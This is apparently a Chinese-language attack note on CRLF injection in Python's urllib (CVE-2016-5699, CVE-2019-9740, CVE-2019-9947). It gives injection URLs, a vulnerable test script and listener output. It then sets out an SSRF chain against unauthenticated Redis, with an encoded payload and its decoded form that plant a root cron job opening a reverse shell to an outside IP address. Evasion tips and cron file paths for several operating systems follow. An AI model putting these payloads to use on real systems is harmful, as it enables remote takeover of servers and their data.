urllib CRLF注入
- CVE-2016-5699:
http://[vps-ip]%0d%0aX-injected:%20header%0d%0atest:5555
- CVE-2019-9740:
http://[vps-ip]%0d%0a%0d%0aheaders:5555
- CVE-2019-9947:
http://[vps-ip]:5555?%0d%0apayload%0d%0apadding
http://[vps-ip]:5555/%0d%0apayload%0d%0apadding
漏洞代码
1 | #!/usr/bin/env python3 |
2 | |
3 | import sys |
4 | import urllib |
5 | import urllib.error |
6 | import urllib.request |
7 | |
8 | url = sys.argv[1] |
9 | |
10 | try: |
11 | info = urllib.request.urlopen(url).info() |
12 | print(info) |
13 | except urllib.error.URLError as e: |
14 | print(e) |
在vps监听
nc -lvvp 5555
1 | listening on [any] 7777 ... |
2 | connect to [127.0.0.1] from localhost [127.0.0.1] 36252 |
3 | GET /?a |
4 | header::8080/test/?test=a HTTP/1.1 |
5 | Accept-Encoding: identity |
6 | Host: 127.0.0.1:7777 |
7 | User-Agent: Python-urllib/3.7 |
8 | Connection: close |
配合ssrf,redis
利用CVE-2016-5699 redis未授权访问 计划任务反弹shell
payload
1 | http://127.0.0.1%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2462%0d%0a%0d%0a*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F111.231.169.25%2F5555%200%3E%261%0a%0d%0aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%0d%0aconfig%20set%20dbfilename%20root%0d%0asave%0d%0a:6379 |
如果urllib2抛出URLError:
的异常
可尝试将%2F双重编码
url过长也可能抛出异常,可以分为几个url
urldecode
1 | http://127.0.0.1 |
2 | *3 |
3 | $3 |
4 | set |
5 | $1 |
6 | 1 |
7 | $62 |
8 | |
9 | */1 * * * * /bin/bash -i >& /dev/tcp/111.231.169.25/5555 0>&1 |
10 | |
11 | config set dir /var/spool/cron/crontabs |
12 | config set dbfilename root |
13 | save |
14 | :6379 |
Redis的通讯协议 ( 突破空格的限制)
1 | *3 //表示3个参数 |
2 | $3 //下面的参数有3个字节 |
3 | set |
4 | $1 //表示下一个参数有一个字节 |
5 | 1 |
6 | $62 //表示下一个参数有六十二个字节(加上第一个%0a) |
不同操作系统的系统任务调度文件
用户 XXX 调度文件:
1 | ubuntu 下路径 |
2 | /var/spool/cron/crontabs/xxx |
3 | |
4 | Alpine 下路径 |
5 | /etc/cron.d/xxx |
6 | |
7 | debian 下的路径(xxx 可以是任意东西) |
8 | /etc/cron.d/xxx |
9 | 或者 |
10 | /var/spool/cron/crontabs/xxx |
11 | 但是写这个路径的时候,文件内不能加用户名。 |
参考